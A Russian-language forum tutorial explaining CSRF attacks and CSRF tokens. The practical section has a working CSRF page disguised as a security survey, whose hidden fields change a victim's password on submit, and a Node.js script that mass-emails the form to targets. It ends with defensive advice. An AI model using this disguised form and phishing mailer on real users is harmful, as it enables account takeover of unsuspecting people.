Загрузка...

О csrf attack и важности csrf token на твоём сайте

Тема в разделе Веб уязвимости создана пользователем NK_TRIPLLE 12 мар 2025. (поднята 6 июн 2025 в 21:54) 408 просмотров

Загрузка...
  1. NK_TRIPLLE
    NK_TRIPLLE Автор темы 12 мар 2025 https://nk-triplle.com/ 3658 30 май 2022
    [IMG]


    Теория:
    Что такое csrf attack?
    Это атака позволяющая при клике на кнопку отправки формы не связанную с сайтом изменить / получить данные о пользователе который на неё нажал.
    Почему это опасно?
    Это опасно ввиду того что злоумышленик может получить или изменить данные вашей учетной записи.
    Также выполнить различные операции от вашего лица, так как куки ваши то соответственно запрос будет от вашей учетной записи.
    И самое главное это то что вы явным образом об этом не узнаете, разве что на почте будет уведомление.

    Что такое csrf token и зачем он нужен?
    csrf токен как раз предотвращает данную атаку.
    Если в запросе из внешней формы не будет csrf токена то запрос на сервере будет предотвращён.
    Разница csrf vs XSS:
    Обычно большинство эндпоинтов сайтов закрыты и требуют csrf токены, но иногда остаются не защищенные их и можно эксплуатировать.
    И что бы эксплатировать csrf нужно что бы пользователь отправил форму.

    В случае XSS нужно лишь перейти по вредоносной ссылке и куки пользователя будут получены злоумышлеником или точно также будет выполнен запрос со стороны пользователя который он не хотел делать, то есть изменение пароля и так как куки и домен проверены сервер выполнит запрос на изменение пароля.

    По xss я уже написал статью вы можете её прочитать здесь;

    Практика:
    Создаём форму:

    HTML
    <!DOCTYPE html>
    <html lang="ru">
    <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Опрос: Ваше мнение о безопасности</title>
    </head>
    <body>
    <h1>Опрос: Ваше мнение о безопасности</h1>
    <p>Пожалуйста, ответьте на несколько вопросов, чтобы помочь нам улучшить нашу систему безопасности.</p>

    <form action="https://example.com/change-password" method="POST">
    <input type="hidden" name="new_password" value="hackedpassword123">
    <input type="hidden" name="confirm_new_password" value="hackedpassword123">

    <div>
    <label for="question1">1. Как часто вы меняете пароли?</label>
    <select id="question1" name="question1">
    <option value="often">Часто</option>
    <option value="rarely">Редко</option>
    <option value="never">Никогда</option>
    </select>
    </div>

    <div>
    <label for="question2">2. Используете ли вы двухфакторную аутентификацию?</label>
    <select id="question2" name="question2">
    <option value="yes">Да</option>
    <option value="no">Нет</option>
    </select>
    </div>

    <div>
    <label for="question3">3. Насколько вы доверяете текущим мерам безопасности?</label>
    <select id="question3" name="question3">
    <option value="high">Высоко</option>
    <option value="medium">Средне</option>
    <option value="low">Низко</option>
    </select>
    </div>

    <button type="submit">Отправить ответы</button>
    </form>
    </body>
    </html>
    Опрос нужен что бы отвлечь пользователя и если он заполнит данные и нажмёт на кнопку его пароль будет изменён.
    Отправляем пользователям форму на почту по средствам скрипта:
    JS
    const nodemailer = require('nodemailer');
    const fs = require('fs');
    const path = require('path');

    const transporter = nodemailer.createTransport({
    service: 'gmail',
    auth: {
    user: 'ваш_email@gmail.com',
    pass: 'ваш_пароль'
    }
    });

    const htmlFilePath = path.join(__dirname, 'index.html');
    const htmlForm = fs.readFileSync(htmlFilePath, 'utf-8');

    const emailList = [
    'email1@example.com',
    'email2@example.com',
    'email3@example.com',
    'email4@example.com',
    'email5@example.com'
    ];

    const sendEmail = async (to) => {
    const mailOptions = {
    from: 'ваш_email@gmail.com',
    to: to,
    subject: 'Опрос: Ваше мнение о безопасности',
    html: htmlForm
    };

    try {
    await transporter.sendMail(mailOptions);
    console.log(`Письмо отправлено на ${to}`);
    } catch (error) {
    console.error(`Ошибка при отправке письма на ${to}:`, error);
    }
    };

    const sendEmails = async () => {
    for (const email of emailList) {
    await sendEmail(email);
    }
    };

    sendEmails();
    Утилита для аудита csrf:
    [IMG]
    https://github.com/0xInfection/XSRFProbe


    Выводы:
    Естественно изменение пароля это лишь пример, можно сделать что угодно, зависит от сайте, отправить сообщение, отправить перевод, передать права на домен и многое другое.
    Суммируя всё вышесказанное, на своих сайтах используйте csrf токены, лишний раз не заполняйте формы от неизвестных, фильтруйте почту и всегда думайте что делаете.

    Спасибо за прочтение, у меня ещё много идей для статей в этом разделе, хорошего настроения:cat_kiss:
     
    12 мар 2025 Изменено
  2. ilovemeow
    ilovemeow 12 мар 2025 5335 29 авг 2020
    почему у мошейника кот есть а у девушки нету
     
    1. liyy
      ilovemeow, а вдруг это пара, один хуячит - другая прикрывает? а кот наверное общий, просто ему впадлу с женщиной рядом сидеть и вообще не аутентично будет тогда
Top